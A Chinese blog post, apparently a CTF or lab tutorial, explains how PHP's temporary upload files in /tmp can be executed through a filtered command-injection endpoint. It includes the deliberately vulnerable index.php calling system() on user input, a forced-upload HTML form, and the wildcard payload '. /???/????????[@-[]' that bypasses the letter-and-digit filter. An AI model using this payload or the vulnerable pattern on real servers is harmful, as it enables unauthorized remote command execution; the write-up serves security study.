🎼个人主页:金灰
😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨
专注网络空间安全服务,期待与您的交流分享~
感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️
🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅做技术交流与学习...
目录
php的文件上传机制:
php会把所有的上传文件先放到tmp目录下,(怕你会动态调用等等),在代码执行结束后,再将文件删除.
利用:
强制文件上传,
在它代码还没有走到那一步的时候进行远程RCE的调用等等.
# 文件上传时,都会先经过此目录,做个临时存放,
/tmp/phpxxxxxx
tmp目录/php
/???/?????????
/???/????????[@-[] #文件路径 @-[ 为大写字母(ASCII)
. /???/????????[@-[] # .执行里面的内容
. /???/????????[@-[]
(大小写 数字)三种一.
/tmp/phpxxxxxx
/tmp/phpxxxxxx
/tmp/phpxxxxxx
超全局变量
# 超全局变量
$_GET
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES
--所有文件的上传都会先放到$_FILES里面临时接收,接收
演示:
index.php
靶场环境
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/[a-x]|[0-9]/i",$cmd)){
system($cmd);
}
upload.html
构造强制文件上传
<form action="http://靶场地址:4444/" enctype="multipart/form-data" method="post">
<input name="file" type="file"/>
<input type="submit" value="upload"/>
</form>
<!--
php 强制文件上传, 文件会储存在临时目录里面, 等脚本执行完毕后 会自动删除,
在脚本没有执行完毕之前抓包
抓包后,get请求参数,这是一个有概率的匹配
. /???/????????[@-[]
(大小写+数字)三种一.
1.txt
构造上传文件里面的命令
whoami
在强制文件上传时,进行抓包
修改命令等等
小皮的临时目录:
--强制上传过来,只要还没删除,就可以利用.